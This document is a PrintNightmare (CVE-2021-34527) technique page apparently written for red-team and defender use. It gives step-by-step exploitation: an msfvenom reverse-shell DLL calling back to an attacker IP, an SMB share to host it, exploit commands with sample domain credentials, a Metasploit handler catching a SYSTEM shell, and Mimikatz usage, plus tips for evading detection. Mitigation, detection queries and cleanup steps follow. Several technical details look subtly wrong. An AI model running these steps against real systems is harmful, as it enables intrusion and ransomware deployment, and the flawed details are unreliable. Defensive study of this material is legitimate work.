| Attribute | Details |
|---|---|
| Technique ID | PE-EXPLOIT-001 |
| MITRE ATT&CK v18.1 | T1068 - Exploitation for Privilege Escalation |
| Tactic | Privilege Escalation |
| Platforms | Windows AD/Endpoint (Server 2016-2022, Windows 10 versions 1507-22H2, Windows 11 21H2-22H2) |
| Severity | Critical |
| CVE | CVE-2021-34527 (Primary), CVE-2021-1675 (Related) |
| Technique Status | ACTIVE (unpatched systems) / FIXED (patched systems) |
| Last Verified | 2025-01-09 |
| Affected Versions | Server 2016, 2019, 2022; Windows 10 all versions; Windows 11 all versions |
| Patched In | June 8, 2021 (initial); August 3, 2021 (complete remediation); Monthly patches thereafter |
| Author | SERVTEP – Artur Pchelnikau |
Concept: PrintNightmare (CVE-2021-34527) is a critical remote code execution (RCE) and local privilege escalation (LPE) vulnerability in the Windows Print Spooler service (spoolsv.exe). The vulnerability exploits improper privilege checks in the RpcAddPrinterDriver and RpcAsyncAddPrinterDriver RPC calls (MS-RPRN and MS-PAR protocols). An attacker with valid domain credentials (even low-privilege accounts) can remotely trigger the Print Spooler service to load and execute a malicious DLL from an SMB share, resulting in SYSTEM-level code execution. The malicious driver is loaded within the context of spoolsv.exe, which runs with SYSTEM privileges, bypassing standard access controls.
Attack Surface: The attack targets the Print Spooler RPC interface exposed on port 135 (RPC Endpoint Mapper) and 445 (SMB). The vulnerable functions accept a UNC path to a malicious DLL without proper validation. Any domain user—even those with minimal privileges—can invoke these RPC calls. The attack requires: (1) valid domain credentials, (2) network access to port 135/445, (3) an SMB share to host the malicious DLL (can be attacker-controlled or existing network shares).
Business Impact: Complete System Compromise with SYSTEM Privileges. Successful exploitation allows immediate execution of arbitrary code as SYSTEM on any accessible Windows system. This enables attackers to deploy ransomware, establish persistence, harvest credentials, conduct lateral movement, or exfiltrate sensitive data. PrintNightmare was actively exploited in the wild by ransomware operators (Vice Society, LockBit, etc.) and APT groups before patches were released. Organizations using unpatched systems remain at critical risk.
Technical Context: Exploitation typically takes 5-15 seconds from initial RPC connection to SYSTEM shell launch. Detection likelihood is high if PrintService event logs are enabled (Event ID 316, 808); however, many organizations do not enable these logs by default. The technique is highly reliable and requires minimal user interaction—no user action is needed on the target system.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.2.2 - Ensure Print Spooler Service is Disabled | CIS recommends disabling Print Spooler if not needed |
| DISA STIG | WN10-00-000185 | Windows 10 STIG - Print Spooler Service Management |
| CISA SCuBA | CSO-09 - Audit and Detect Threats | Print Spooler monitoring and anomaly detection |
| NIST 800-53 | AC-3, AU-12, SI-4 | Access enforcement, audit generation, information system monitoring |
| GDPR | Art. 32 - Security of Processing | Technical security measures; Art. 33 - Breach notification within 72 hours |
| DORA | Art. 9 - Protection and Prevention | ICT systems must detect and prevent attacks in real time |
| NIS2 | Art. 21 - Cyber Risk Management | Mandatory detection and reporting of exploitation attempts |
| ISO 27001 | A.12.4.1, A.12.6.1 | Event logging of changes to software/systems; vulnerability management |
| ISO 27005 | Risk Scenario: “RPC Service Exploitation” | Risk assessment for remote service vulnerabilities |
Required Privileges: Domain User (any authenticated user with minimal privileges). No administrative rights needed to invoke RPC calls.
Required Access:
Supported Versions:
Tools:
Verify if the target system has Print Spooler service running and exposed via RPC:
# Check if Print Spooler service is running on target
$Servers = @("SERVER01", "SERVER02", "DC01")
foreach ($Server in $Servers) {
try {
$Service = Get-Service -ComputerName $Server -Name Spooler -ErrorAction Stop
Write-Host "[+] $Server - Print Spooler Status: $($Service.Status)"
} catch {
Write-Host "[-] $Server - Could not retrieve Print Spooler status"
}
}
# Alternative: Check via SMB/RPC connectivity
Test-NetConnection -ComputerName "SERVER01" -Port 135 -InformationLevel Detailed
What to Look For:
Version Note: PrintNightmare affects all Windows versions listed; however, patch dates vary by OS version.
Command (Server 2016-2019):
# WMI-based service check (older systems)
Get-WmiObject -Class Win32_Service -ComputerName "SERVER01" | Where-Object { $_.Name -eq "Spooler" } | Select-Object Name, State
Command (Server 2022+):
# CIM-based service check (faster on newer systems)
Get-CimInstance -ClassName Win32_Service -ComputerName "SERVER01" | Where-Object { $_.Name -eq "Spooler" } | Select-Object Name, State
From an attacker’s machine (Linux or WSL), enumerate vulnerable RPC services:
# Install impacket (if not already installed)
pip3 install impacket
# Enumerate RPC endpoints and protocols on target
python3 -m impacket.rpcdump @TARGET_IP | grep -E "MS-RPRN|MS-PAR"
# Expected output if vulnerable:
# Protocol: [MS-RPRN]: Print System Remote Protocol
# Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
# Alternative: Use rpcdump tool
rpcdump.py @192.168.1.100 | egrep 'MS-RPRN|MS-PAR'
What to Look For:
Supported Versions: Server 2016-2022, Windows 10 all versions, Windows 11 all versions
Objective: Create a malicious DLL that will be hosted on an SMB share and loaded by the Print Spooler service.
Version Note: DLL generation is consistent across versions; however, architecture (x86 vs x64) must match target.
Command (Linux - msfvenom & Impacket):
# Generate malicious DLL using msfvenom
# LHOST = attacker IP, LPORT = reverse shell port
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll > /tmp/rev.dll
# Expected output: Generated payload 'rev.dll' (size will vary)
# Alternatively, use a simpler calc.exe payload for testing
msfvenom -p windows/exec CMD=calc.exe -f dll > /tmp/calc.dll
# Set up SMB share to host the DLL (using impacket smbserver)
# This allows the target to download the DLL via UNC path
sudo python3 -m impacket.smbserver -smb2support share /tmp/
# The share will be accessible as: \\192.168.1.50\share\rev.dll
Expected Output:
[*] Impacket v0.10.0 - Copyright 2023 SecureAuthCorp
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47D034E01A V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Started: 2025-01-09 08:30:42.123456
[*] Incoming connection (192.168.1.100,49152)
[+] User: DOMAIN\USERNAME (Auth: True, Signing: False)
What This Means:
\\192.168.1.50\share\rev.dll will be used in the exploit.OpSec & Evasion:
HPPrinterDriver.dll instead of rev.dll).Troubleshooting:
sudo or run as Administrator. If port 445 is in use, use alternate port: python3 -m impacket.smbserver -smb2support -p 4445 share /tmp/References & Proofs:
Objective: Invoke the RPC calls to add a malicious printer driver, causing the target to load and execute the DLL with SYSTEM privileges.
Version Note: Exploit command syntax is identical across versions; however, ASLR offsets may differ.
Command (Python - Impacket based PoC):
# Clone the PrintNightmare PoC repository
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
# Execute the exploit with valid domain credentials
# Syntax: python3 exploit.py <domain>/<username>:<password>@<target> <DLL_UNC_PATH>
python3 CVE-2021-1675.py "DOMAIN/lowprivuser:Password123@192.168.1.100" "\\\\192.168.1.50\\share\\rev.dll"
# For systems patched with August 2021+ patches, use the "SharpPrintNightmare" variant
# which targets RpcAsyncAddPrinterDriver instead of RpcAddPrinterDriver:
python3 CVE-2021-1675.py -console "DOMAIN/lowprivuser:Password123@192.168.1.100" "\\\\192.168.1.50\\share\\rev.dll"
Expected Output (Successful):
[*] Targeting \\192.168.1.100
[*] Binding to \\192.168.1.100\pipe\spoolss ...
[*] Calling RpcAddPrinterDriver() with malicious driver DLL...
[+] Exploit completed successfully!
[+] Malicious driver loaded - reverse shell should connect back...
Expected Output (Already Patched):
[-] RpcAddPrinterDriver() call failed - Status: 5 (Access Denied)
[*] Attempting RpcAsyncAddPrinterDriver() as fallback...
[-] RpcAsyncAddPrinterDriver() also failed
[-] Target system appears to be patched
What This Means:
OpSec & Evasion:
-smb2support) to bypass network-based detection of PrintNightmare patterns.Troubleshooting:
net use \\TARGET\IPC$ /u:DOMAIN\username passwordnmap -p 135,445 TARGET_IP or Test-NetConnection -ComputerName TARGET -Port 445References & Proofs:
Objective: Set up a listener to receive the reverse shell connection from the compromised system.
Command (Metasploit - Handler):
# Start Metasploit console
msfconsole
# Within msfconsole, set up multi/handler to catch reverse shell
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j
# [*] Exploit running as background job 0.
# [*] Started reverse TCP handler on 192.168.1.50:4444
# Once the reverse shell connects:
# [*] Sending stage (201798 bytes) to 192.168.1.100
# [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49152) at 2025-01-09 08:35:42 +0000
Expected Output (Reverse Shell Connection):
meterpreter > whoami
nt authority\system
meterpreter > getuid
Server username: DOMAIN\COMPUTERNAME$
meterpreter > sysinfo
Computer : COMPUTERNAME
OS : Windows Server 2019 6.3 (Build 17763)
Architecture : x64
System Language : en_US
What This Means:
whoami output shows “nt authority\system,” confirming privilege escalation success.OpSec & Evasion:
References & Proofs:
Supported Versions: Server 2016-2022, Windows 10 all versions, Windows 11 all versions
Objective: Compile the C# version of PrintNightmare for execution directly on a Windows system (avoiding dependency on Python/Impacket).
Version Note: Compilation is identical across versions; execution works on all vulnerable Windows systems.
Command (Visual Studio / csc.exe):
// Pseudocode for SharpPrintNightmare compilation
// In practice, clone from GitHub and compile:
// Clone the repository
git clone https://github.com/rogue7/SharpPrintNightmare.git
cd SharpPrintNightmare
// Compile using Visual Studio or command-line compiler
csc.exe /target:exe /out:SharpPrintNightmare.exe *.cs
// Or use msbuild if Visual Studio is installed
msbuild SharpPrintNightmare.sln /p:Configuration=Release
Expected Output:
Microsoft (R) Visual C# Compiler version 3.9.0-6.21124.20 (9fb42ed4)
Copyright (C) Microsoft Corporation. All rights reserved.
SharpPrintNightmare.exe compiled successfully.
What This Means:
OpSec & Evasion:
%APPDATA%\System32Cache\) to avoid detection.rundll32.exe or dllhost.exe to obscure the parent process.Objective: Run the compiled C# exploit from a Windows system with network access to the target.
Command (Windows Command Prompt / PowerShell):
# Syntax: SharpPrintNightmare.exe <SMB_UNC_PATH> <TARGET> <DOMAIN> <USERNAME> <PASSWORD>
SharpPrintNightmare.exe \\192.168.1.50\share\calc.dll \\192.168.1.100 DOMAIN lowprivuser Password123
# Expected output on success:
# [+] Exploit completed successfully!
# [+] Reverse shell should connect back to attacker...
Expected Output (Successful):
[*] Targeting: \\192.168.1.100
[*] DLL Path: \\192.168.1.50\share\calc.dll
[*] Authenticating with DOMAIN\lowprivuser...
[+] Successfully connected to Print Spooler RPC service
[+] Malicious driver loaded - code execution achieved with SYSTEM privileges!
What This Means:
References & Proofs:
Supported Versions: Server 2016-2022, Windows 10 all versions, Windows 11 all versions
Objective: Leverage Mimikatz’s built-in PrintNightmare module to execute the exploit without external tool dependencies.
Command (Mimikatz):
# Launch Mimikatz
mimikatz.exe
# Execute PrintNightmare module (requires Mimikatz v2.2.0.20210601+)
mimikatz # misc::printnightmare /target:192.168.1.100 /share:\\192.168.1.50\share\calc.dll /user:DOMAIN\lowprivuser /pass:Password123
# Expected output:
# [*] Target: 192.168.1.100
# [*] Executing PrintNightmare via MS-RPRN RPC...
# [+] Exploit completed!
Expected Output (Successful):
[+] Successfully added malicious printer driver
[+] Driver loaded with SYSTEM privileges
[+] Malicious DLL executed (if payload-based)
What This Means:
OpSec & Evasion:
token::revert before exiting.References & Proofs:
# After reverse shell connection, verify SYSTEM context
whoami # Should output: nt authority\system
# Check installed printer driver (will show our malicious driver)
Get-PrinterDriver | Where-Object { $_.Name -like "*QMS*" -or $_.Name -like "*Malic*" }
# List recent print spooler events (shows exploitation artifacts)
Get-WinEvent -LogName "Microsoft-Windows-PrintService/Operational" -MaxEvents 10 | Select-Object TimeCreated, Id, Message
Apply Security Patches: Install all Microsoft security patches for CVE-2021-34527 and CVE-2021-1675. Microsoft released patches on June 8, 2021 (initial), with additional updates on August 3, 2021 (complete fix). Monthly patches continue to address related issues.
Applies To Versions: All affected systems (Server 2016-2022, Windows 10/11)
Manual Steps (Server 2016-2019):
Get-HotFix | Where-Object { $_.HotFixID -match "KB5004010|KB5004475" }Manual Steps (Server 2022+):
Get-HotFix | Where-Object { $_.Description -like "*PrintNightmare*" }Manual Steps (PowerShell - All Versions):
# Enable Windows Update service
Start-Service -Name wuauserv
# Scan for updates and install
$UpdateSession = New-Object -ComObject "Microsoft.Update.Session"
$UpdateSearcher = $UpdateSession.CreateUpdateSearcher()
$SearchResult = $UpdateSearcher.Search("IsInstalled=0")
$UpdateInstaller = $UpdateSession.CreateUpdateInstaller()
$UpdateInstaller.Updates = $SearchResult.Updates
$InstallResult = $UpdateInstaller.Install()
Write-Host "Patches installed: $($InstallResult.ResultCode)" # 2=Success, 3=Reboot required
Disable Print Spooler Service (If Not Required): Disable the Print Spooler service on systems that do not require printing functionality. This is the most effective mitigation if printing is not needed.
Manual Steps (Group Policy - Domain):
gpupdate /force on target systemsGet-Service -Name Spooler | Select-Object Status, StartTypeManual Steps (Local Service Management):
Manual Steps (PowerShell - All Versions):
# Disable Print Spooler service
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# Verify disabled
Get-Service -Name Spooler | Select-Object Name, Status, StartType
Restrict RPC Access via Firewall: Implement network segmentation to limit RPC access (ports 135, 445) to authorized systems only.
Manual Steps (Windows Firewall - Group Policy):
Manual Steps (PowerShell):
# Block all inbound RPC access (ports 135, 445)
New-NetFirewallRule -DisplayName "Block RPC PrintNightmare" -Direction Inbound -Protocol TCP -LocalPort 135,445 -Action Block
New-NetFirewallRule -DisplayName "Block RPC PrintNightmare UDP" -Direction Inbound -Protocol UDP -LocalPort 135,445 -Action Block
# Or allow only from specific subnet
New-NetFirewallRule -DisplayName "Allow RPC from Admin Subnet" -Direction Inbound -Protocol TCP -LocalPort 135,445 -RemoteAddress "10.0.1.0/24" -Action Allow
Enable Audit Logging for Print Spooler: Enable event logging for PrintService to detect exploitation attempts in real time.
Manual Steps (Event Viewer):
Manual Steps (PowerShell):
# Enable PrintService event logging
$LogDeets = Get-LogProperties 'Microsoft-Windows-PrintService/Operational'
$LogDeets.Enabled = $true
$LogDeets.MaximumSizeInBytes = 1GB
Set-LogProperties -LogDetails $LogDeets
$LogDeets_Admin = Get-LogProperties 'Microsoft-Windows-PrintService/Admin'
$LogDeets_Admin.Enabled = $true
Set-LogProperties -LogDetails $LogDeets_Admin
Implement Conditional Access Policies: Restrict RPC/SMB access based on device compliance, location, and time.
Manual Steps (Azure Portal):
Principle of Least Privilege: Minimize domain user accounts with sensitive permissions. Regular users should not have access to administrative shares.
Manual Steps (Active Directory):
Get-ADGroupMember "Administrators" | Select-Object Name to list members# Verify patches are installed
$Patches = Get-HotFix | Where-Object { $_.HotFixID -match "KB5004010|KB5004475|KB5008212" }
Write-Host "CLFS/PrintNightmare patches installed: $($Patches.Count)"
# Verify Print Spooler service status
$SpoolerStatus = Get-Service -Name Spooler | Select-Object Status, StartType
Write-Host "Print Spooler Status: $($SpoolerStatus.Status), StartType: $($SpoolerStatus.StartType)"
# Expected output if secure:
# CLFS/PrintNightmare patches installed: 3+
# Print Spooler Status: Stopped, StartType: Disabled
C:\Windows\System32\spool\drivers\x64\3\ or other driver directoriesHKLM\SYSTEM\CurrentControlSet\Control\Print\Environmentsspoolsv.exe (cmd.exe, powershell.exe, rundll32.exe)Microsoft Sentinel KQL Query:
// Detect PrintNightmare exploitation attempt
// Looks for printer driver addition events (Event ID 316) combined with SMB anomalies
SecurityEvent
| where EventID == 316 // Printer driver added
| where SourceIP has "." and SourceIP !startswith "10." and SourceIP !startswith "172." // External source
| join (
SecurityEvent
| where EventID == 31017 // SMB client security event (malicious share access)
) on Computer, TimeGenerated
| summarize count() by Computer, TimeGenerated, UserName, SourceIP
Splunk Query:
source="WinEventLog:Microsoft-Windows-PrintService/Operational" EventCode=316 category="Adding a printer driver"
| stats count min(_time) as firstTime max(_time) as lastTime by host, user, Message
| where count > 1
Windows Event Log Monitoring:
Enable and monitor:
Manual Configuration (Group Policy):
gpupdate /forceDisable-NetAdapter -Name "Ethernet" -Confirm:$false
# Export PrintService event logs
wevtutil epl "Microsoft-Windows-PrintService/Operational" C:\Evidence\PrintService_Operational.evtx
wevtutil epl "Microsoft-Windows-PrintService/Admin" C:\Evidence\PrintService_Admin.evtx
# Export security event log
wevtutil epl Security C:\Evidence\Security.evtx
# Dump spoolsv.exe memory (requires procdump or similar)
# procdump64.exe -ma spoolsv.exe C:\Evidence\spoolsv.dmp
# List running processes
Get-Process | Export-Csv C:\Evidence\Processes.csv
# Kill Print Spooler service
Stop-Service -Name Spooler -Force
# Remove malicious driver files
Remove-Item "C:\Windows\System32\spool\drivers\x64\3\*.dll" -Force -ErrorAction SilentlyContinue
# Remove registry entries for malicious drivers
# Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments" -Recurse | Where-Object { ... } | Remove-Item
# Restart system to ensure clean state
Restart-Computer -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial domain user credentials |
| 2 | Credential Access | [CA-BRUTE-001] Azure Portal Password Spray | (Optional) If cloud-connected; spray to obtain valid account |
| 3 | Privilege Escalation | [PE-EXPLOIT-001] | PrintNightmare RCE/LPE - Current Technique |
| 4 | Credential Dumping | [CA-DUMP-001] Mimikatz LSASS Extraction | Extract additional credentials with SYSTEM context |
| 5 | Lateral Movement | [CA-KERB-001] Kerberoasting | Generate service tickets for lateral movement |
| 6 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Establish hidden admin account for continued access |
| 7 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Deploy encryption with SYSTEM privileges |
PrintNightmare (CVE-2021-34527) represents one of the most critical privilege escalation vulnerabilities discovered in Windows in recent years. By exploiting improper validation in the Print Spooler RPC service, attackers with minimal privileges can achieve immediate SYSTEM-level code execution on any connected Windows system. Organizations must prioritize patching and implement PrintService event log monitoring to detect and prevent active exploitation. The technique remains ACTIVE on unpatched systems and continues to be exploited by ransomware operators and APT groups globally.